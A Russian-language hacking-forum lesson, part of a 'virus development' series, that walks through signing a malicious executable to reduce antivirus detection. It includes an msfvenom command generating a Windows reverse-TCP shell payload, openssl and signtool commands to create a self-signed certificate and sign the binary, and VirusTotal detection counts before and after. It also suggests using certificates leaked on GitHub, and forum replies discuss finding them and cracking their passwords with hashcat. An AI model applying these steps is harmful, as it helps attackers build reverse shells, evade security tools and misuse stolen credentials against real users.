Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 125
Репутация
8 243
1694956091166.png


Когда пользователь пытается загрузить исполняемый файл из интернета, он часто подписан компанией как способ доказать пользователю, что это надежный исполняемый файл.
Несмотря на то что системы безопасности все равно будут проверять исполняемый файл, на него была бы направлена дополнительная проверка, если бы бинарный файл не был подписан.

Предлагаю рассмотреть шаги, необходимые для подписания вредоносного бинарного файла, что может повысить его надежность.

В статье демонстрируется подписание бинарного файла на исполняемом файле, созданном через Msfvenom: msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f exe -o mybin.exe

Тест, как подпись влияет на детект:


Перед началом бинарный файл был загружен на VirusTotal, чтобы увидеть степень обнаружения до подписания бинарного файла.
Степень обнаружения довольно высока: 52 из 71 антивирусов отметили файл как вредоносный.

1694956279889.png


Значение подписи для Безопасности

Подпись кода важно, потому что оно предоставляет дополнительный уровень доверия к исходному коду. Однако это также может быть использовано злоумышленниками для обхода систем безопасности и обмана пользователей. Инструменты, такие как Msfvenom, позволяют создавать вредоносные бинарные файлы, которые затем могут быть подписаны, чтобы уменьшить вероятность их обнаружения.
Несмотря на это, организации и пользователи должны оставаться настороже и не полагаться исключительно на подписи для верификации надежности файла.

Получение Сертификата

Существует несколько способов получения сертификата:
  1. Самый предпочтительный способ - приобрести сертификат у доверенного поставщика, такого как DigiCert.
  2. Еще одна возможность - использовать самоподписанный сертификат. Хотя это не будет таким эффективным, как сертификат от доверенного центра, в статье далее будет показано, что это все равно может оказать влияние на частоту обнаружения.
  3. Последний вариант - найти действительные сертификаты, которые утекли в интернете (например, на Github).
Генерация Сертификата

Попробуем сами подписать свой бинарник и глянем что будет.)
Для этого потребуется openssl, который предустановлен в Kali Linux.

Команда для создания сертификата:

Код:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365

После выполнения команды, система попросит вас предоставить детали для создания сертификата, такие как страна, организация и так далее. После завершения этого процесса у вас будет готов сертификат и соответствующий ему закрытый ключ.

1694956499711.png


Далее, генерируем файл pfx, используя файлы pem. Инструмент потребует ввода ключевой фразы.

Код:
openssl pkcs12 -inkey key.pem -in cert.pem -export -out sign.pfx

При выполнении этой команды вам будет предложено ввести пароль для закрытого ключа (если вы установили его ранее) и затем задать пароль для нового файла pfx. Этот пароль потребуется в дальнейшем, когда вы будете использовать файл pfx для подписи исполняемых файлов или других целей.

Файл PFX (также известный как PKCS #12) комбинирует сертификат и соответствующий ему закрытый ключ в один файл, который может быть использован для импорта и экспорта между системами или для безопасного хранения.

1694956631340.png


Подписание Бинарного Файла
Для подписи бинарного файла требуется утилита signtool.exe, которая является частью Windows SDK. Ее можно установить .
После установки бинарный файл можно подписать с помощью указанной ниже команды.

Код:
signtool sign /f sign.pfx /p <pfx-password> /t http://timestamp.digicert.com /fd sha256 binary.exe

Просмотр свойств бинарного файла теперь будет показывать вкладку "Цифровая подпись", на которой отображаются детали сертификата, используемого для подписи бинарного файла. Также будет показано предупреждение о том, что сертификат не доверен.

Примечание: Самоподписанный сертификат, очевидно, не будет иметь доверия на большинстве систем. Если вам нужно доверие к вашему сертификату, вам следует приобрести его у аккредитованного удостоверяющего центра. Подпись бинарного файла, даже самоподписанным сертификатом, может снизить вероятность его обнаружения некоторыми антивирусами, но все же это не гарантирует полное доверие к файлу.

1694956755451.png


Тестирование степени обнаружения подписанного бинарного файла

Бинарный файл был загружен обратно на VirusTotal, чтобы проверить, оказало ли подписание влияние на степень обнаружения. Как можно было ожидать, количество систем безопасности, которые отметили файл как вредоносный, сократилось с 52 до 47. На первый взгляд это может не показаться значительным уменьшением, но следует подчеркнуть, что к файлу не были внесены никакие изменения, кроме его подписи сертификатом.
1694956847566.png


Вывод:


Подписание бинарного файла действительно может влиять на его обнаружение системами безопасности. Это подчеркивает важность управления и контроля над использованием сертификатов, а также необходимость для компаний и пользователей оставаться настороже даже в отношении подписанных файлов. На практике подписание может использоваться злоумышленниками как один из методов уменьшения вероятности обнаружения их вредоносного ПО.
 
Последнее редактирование:

MKII

Уважаемый пользователь
Форумчанин
Регистрация
03.10.2022
Сообщения
256
Репутация
183
Последний вариант - найти действительные сертификаты, которые утекли в интернете (например, на Github).
Было бы интересно узнать про методы поиска, тк у меня не получалось нечего найти на гитхабе.
 

Purple

Пользователь
Форумчанин
Регистрация
11.09.2023
Сообщения
16
Репутация
7
Было бы интересно узнать про методы поиска, тк у меня не получалось нечего найти на гитхабе.
Помимо поиска нужно будет еще и пароль получить) hashcat-ом каким-нибудь
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ